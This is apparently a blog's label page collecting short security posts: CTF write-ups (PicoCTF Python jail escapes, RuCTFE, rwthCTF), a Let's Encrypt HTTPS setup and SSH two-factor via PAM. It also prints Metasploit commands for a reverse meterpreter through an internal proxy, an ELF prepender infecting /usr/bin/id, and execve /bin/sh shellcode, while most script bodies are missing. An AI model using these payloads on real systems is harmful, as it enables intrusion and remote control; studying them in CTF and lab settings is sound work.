#apt-get update#apt-get install software-properties-common#add-apt-repository ppa:certbot/certbot#apt-get update#mkdir webserver#cd webserver#apt-get install certbot#mkdir www#certbot certonly --webroot -w $PWD/www -d mydomain.org -d www.mydomain.org#cp /etc/letsencrypt/live/mydomain.org/privkey.pem .#cp /etc/letsencrypt/live/mydomain.org/fullchain.pem .#cat privkey.pem fullchain.pem > cert.pem#cat https-server.py#python https-server.py eth0
Showing posts with label python. Show all posts
Showing posts with label python. Show all posts
# SimpleHTTPSServer with letsencrypt certificate
Labels:
certbot,
certificate,
https,
letsencrypt,
python,
simplehttpsserver
# GynvaelEN mission 011
#cat mission_11-firmware.txt#cat mission_11.py#python mission_11.py
Source
https://www.youtube.com/watch?v=s5gOW-N9AAo (1:46:20)
# Reverse meterpreter through an internal HTTP proxy server
Attacker's host
msf >use payload/python/meterpreter/reverse_httpmsf payload(reverse_http) >set lhost LOCAL_PUBLIC_IPmsf payload(reverse_http) >set lport 80msf payload(reverse_http) >set payloadproxyhost USERNAME:PASSWORD@INTERNAL_PROXY:IPmsf payload(reverse_http) >set payloadproxyport INTERNAL_PROXY_PORTmsf payload(reverse_http) >generate -b '\x00\xff' -t raw -f met.pymsf >use exploit/multi/handlermsf exploit(handler) >set payload python/meterpreter/reverse_httpmsf exploit(handler) >set lhost LOCAL_PUBLIC_IPmsf exploit(handler) >set lport 80msf exploit(handler) >set payloadproxyhost USERNAME:PASSWORD@INTERNAL_PROXY:IPmsf exploit(handler) >set PayloadProxyPort INTERNAL_PROXY_PORTmsf exploit(handler) >run
Compromised server
# python met.py
Labels:
meterpreter,
proxy,
python,
reverse
# Burp extension to hook requests/responses
$ cat hooker.py
References
https://portswigger.net/burp/extender/
http://www.jython.org/downloads.html
# SSH two-factor authentication (pam + telegram)
#apt-get install libpam-python#grep -m 1 ChallengeResponseAuthentication /etc/ssh/sshd_config#cat /etc/pam.d/sshd | grep -B 1 -A 1 authentication#cat /lib/security/telegramPIN.py#service ssh restart
References
http://pam-python.sourceforge.net/doc/html/
http://www.linux-pam.org/Linux-PAM-html/Linux-PAM_MWG.html
Labels:
authentication,
pam,
python,
ssh,
telegram,
two-factor
# ELF prepender in python
#ls -lh /usr/bin/id#file /usr/bin/id#/usr/bin/id#./infect.py @ /usr/bin/id#ls -lh /usr/bin/id#file /usr/bin/id#/usr/bin/id#ls -lh /usr/bin/id#cat infect.py
# Execute shellcode in python
$ cat runshellcode.py
$uname -m$# 23 bytes - Gu Zhengxiong $python disassemble.py x86 64 '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'$python runshellcode.py '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'$
$uname -m$# 21 bytes - Gu Zhengxiong $python disassemble.py x86 32 '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'$python runshellcode.py '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'$
$ cat disassemble.py
# Serializing functions with marshal
#cat serializer.py#cat runner.py#python serializer.py#python runner.py YwEAAAABAAAAAQAAAEMAAABzCQAAAHwAAEdIZAAAUygBAAAATigAAAAAKAEAAAB0AwAAAG1zZygAAAAAKAAAAABzDQAAAHNlcmlhbGl6ZXIucHl0CAAAAGZ1bmN0aW9uBAAAAHMCAAAAAAE=
# WAP Challenge 14: HTTP Traffic File Carving
#url='http://videos.pentesteracademy.com.s3.amazonaws.com/videos/wap-challenges/http-forensics2.pcap'#wget --quiet --output-document=http-forensics2.pcapng $url#editcap -F libpcap -T ether http-forensics2.pcapng http-forensics2.pcap#tshark -nr http-forensics2.pcap | grep octet#cat solution.py#./solution.py#cat split-file/pass
Labels:
pcap,
permutations,
python,
scapy,
zip
# PicoCTF 2k13 - moreevil
#gdb -q -n -x moreevil.py#gdb -q -n -x moreevil.py#gdb moreevil(gdb)set environment LD_PRELOAD=lib/hook64.so(gdb)break *0x4021ee(gdb)run1234567890123456789(gdb)x/152xb 0x6030c8#ipythonIn [1]:key = [0x19, 0x1e, 0x06, 0x51, 0x1d, 0x1e, 0x06, 0x51, 0x12, 0x10, 0x1f, 0x51, 0x08, 0x1e, 0x04, 0x51, 0x16, 0x1e, 0x4e]In [2]:password = ''In [3]:for byte in key: password += chr(byte ^ ord('q'))In [4]:passwordOut[4]:
# PicoCTF 2k13 - Mildly Evil
$objdump -M intel -d mildly_evil$cat bruteforce.sh$./bruteforce.sh$cat bruteforce.py$gdb -q -n -x bruteforce.py
Labels:
breakpoint,
bruteforce,
gdb,
ignore,
picoctf,
python,
shellscript,
time_attack
# PicoCTF 2k13 - Python Eval 5
#cat task5.py#nc python.picoctf.com 6365().__class__.__base__.__subclasses__()[53]__builtins__#ipythonIn [1]:for c in "().__class__.__base__.__subclasses__()[53].__init__.func_globals['linecache'].__dict__['os'].system('sh')":...:print "__builtins__['x'] = __builtins__['x'] + " + '"' + c + '"'...: #nc python.picoctf.com 6365__builtins__['x'] = '' __builtins__['x'] = __builtins__['x'] + "(" __builtins__['x'] = __builtins__['x'] + ")" __builtins__['x'] = __builtins__['x'] + "." __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "c" __builtins__['x'] = __builtins__['x'] + "l" __builtins__['x'] = __builtins__['x'] + "a" __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "." __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "b" __builtins__['x'] = __builtins__['x'] + "a" __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "e" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "." __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "u" __builtins__['x'] = __builtins__['x'] + "b" __builtins__['x'] = __builtins__['x'] + "c" __builtins__['x'] = __builtins__['x'] + "l" __builtins__['x'] = __builtins__['x'] + "a" __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "e" __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "(" __builtins__['x'] = __builtins__['x'] + ")" __builtins__['x'] = __builtins__['x'] + "[" __builtins__['x'] = __builtins__['x'] + "5" __builtins__['x'] = __builtins__['x'] + "3" __builtins__['x'] = __builtins__['x'] + "]" __builtins__['x'] = __builtins__['x'] + "." __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "i" __builtins__['x'] = __builtins__['x'] + "n" __builtins__['x'] = __builtins__['x'] + "i" __builtins__['x'] = __builtins__['x'] + "t" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "." __builtins__['x'] = __builtins__['x'] + "f" __builtins__['x'] = __builtins__['x'] + "u" __builtins__['x'] = __builtins__['x'] + "n" __builtins__['x'] = __builtins__['x'] + "c" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "g" __builtins__['x'] = __builtins__['x'] + "l" __builtins__['x'] = __builtins__['x'] + "o" __builtins__['x'] = __builtins__['x'] + "b" __builtins__['x'] = __builtins__['x'] + "a" __builtins__['x'] = __builtins__['x'] + "l" __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "[" __builtins__['x'] = __builtins__['x'] + "'" __builtins__['x'] = __builtins__['x'] + "l" __builtins__['x'] = __builtins__['x'] + "i" __builtins__['x'] = __builtins__['x'] + "n" __builtins__['x'] = __builtins__['x'] + "e" __builtins__['x'] = __builtins__['x'] + "c" __builtins__['x'] = __builtins__['x'] + "a" __builtins__['x'] = __builtins__['x'] + "c" __builtins__['x'] = __builtins__['x'] + "h" __builtins__['x'] = __builtins__['x'] + "e" __builtins__['x'] = __builtins__['x'] + "'" __builtins__['x'] = __builtins__['x'] + "]" __builtins__['x'] = __builtins__['x'] + "." __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "d" __builtins__['x'] = __builtins__['x'] + "i" __builtins__['x'] = __builtins__['x'] + "c" __builtins__['x'] = __builtins__['x'] + "t" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "[" __builtins__['x'] = __builtins__['x'] + "'" __builtins__['x'] = __builtins__['x'] + "o" __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "'" __builtins__['x'] = __builtins__['x'] + "]" __builtins__['x'] = __builtins__['x'] + "." __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "y" __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "t" __builtins__['x'] = __builtins__['x'] + "e" __builtins__['x'] = __builtins__['x'] + "m" __builtins__['x'] = __builtins__['x'] + "(" __builtins__['x'] = __builtins__['x'] + "'" __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "h" __builtins__['x'] = __builtins__['x'] + "'" __builtins__['x'] = __builtins__['x'] + ")" None; exec __builtins__['x'] ls -lhcat flag_for_masters
# PicoCTF 2k13 - Python Eval 4
#cat task4.py#nc python.picoctf.com 6364GET /?"+(__builtins__.__import__('os').execl('/bin/sh','sh'))+"ls -lcat super_awesome_flag
# PicoCTF 2k13 - Python Eval 3
$cat task3.py$nc python.picoctf.com 6363Welcome to the food menu! Which description do you want to read? [ 0] $ 7.69 Chicken Asada Burrito [ 1] $ 6.69 Beef Chow Mein [ 2] $ 10.49 MeatBurger Deluxe >path.warnings.catch_warnings.__init__.func_globals['linecache'].__dict__['os'].system('/bin/sh')>path.os.execlp('sh','')idlscat your_flag_here
# PHDays CTF Quals 2k14 - Yet Another Pyjail (3900 points)
#cat jail.py#python jail.pyleetleetleetleetf = div(1) nf = type(div)(f.func_code, type({})(EXPECTED=1, int=type(1)), closure=f.func_closure) nf(1) ---
f = div(1337)
nf = type(div)(f.func_code, type({})(EXPECTED=13.37, int=type(1.)), closure=f.func_closure)
nf(100)
---
f = div(1)
nf = type(div)(f.func_code, {f.func_code.co_names[0]: int, f.func_code.co_names[1]: 1}, closure=f.func_closure)
nf(1)
---
f = div(1337)
nf = type(div)(f.func_code, {f.func_code.co_names[0]: type(1.), f.func_code.co_names[1]: 13.37}, closure=f.func_closure)
nf(100)
---
#div.func_closure[8].cell_contents()
#div.func_closure[9].cell_contents()
#---
def get_cell_value(cell):
return type(lambda: 0)(
(lambda x: lambda: x)(0).func_code, {}, None, None, (cell,)
)()
get_cell_value(div.func_closure[8])()
get_cell_value(div.func_closure[9])()
---
# 30C3 2k13: Numbers - Guess (100 points)
The challenge
Do you like guessing challenges? Yes? This one is especially for you!
guess.tar.gz running on 88.198.89.194:8888
#wget https://30c3ctf.aachen.ccc.de/static/guess.tar.gz#tar xvzf guess.tar.gz#cat server.py#cat reverse.py#cat guess.py#python guess.py 88.198.89.194 8888 tcp
Update
# cat guess.py
References
http://en.wikipedia.org/wiki/Mersenne_twister
http://jazzy.id.au/default/2010/09/22/cracking_random_number_generators_part_3.html
http://svn.python.org/view/*checkout*/python/trunk/Modules/_randommodule.c
# RuCTFE 2k13: Taxi
Vulnerable code
# cat taxi.py
Exploit
#cat exploit.py#./exploit.py 10.23.x.2 `head -c 4 /dev/urandom | xxd -p`
Patch
# cat taxi.py
Complete code
# cat taxi.py
# rwthCTF 2k13 - smartgrid
#Referencescat grid.pub#openssl rsa -pubin -inform PEM -text -noout < grid.pub | grep '('#ipython:import gmpy:message = 2**1024:modulus = gmpy.mpz(2**4096):cube_root = modulus.root(3)[0]:if message < cube_root:print "Go!"#cat netlib.py#cat smartgrid.py#./smartgrid.py 10.22.x.1 21721 tcp
http://h4des.org/blog/index.php?/archives/339-rwthCTF-2013-smartgrid-write-up.html
# NcN CTF 2k13: Canada (Base - 1200 pts)
#gunzip howtobasic.gz#file howtobasic#chmod +x howtobasic#gdb --quiet ./howtobasic(gdb)set disassembly-flavor intel(gdb)info file(gdb)run(gdb)finish1234567890(gdb)finish(gdb)finish(gdb)finish(gdb)finish(gdb)finish(gdb)finish(gdb)finish(gdb)b *0x080483b6(gdb)run1234567890(gdb)x/2i 0x080483b6(gdb)x/s $eax(gdb)b *0x80483f5(gdb)continue(gdb)x/3i 0x080483f5(gdb)b *0x80483fd(gdb)continue(gdb)x/2i 0x080483fd(gdb)b *0x8048486(gdb)continue(gdb)x/4i 0x08048486(gdb)x/xw $esp+0x14(gdb)x/xw $esp+0x1c(gdb)b *0x8048403(gdb)continue(gdb)x/20i 0x08048403(gdb)x/5i 0x8048481(gdb)quit#cat canada.py#./canada.py#./howtobasic
Subscribe to:
Posts (Atom)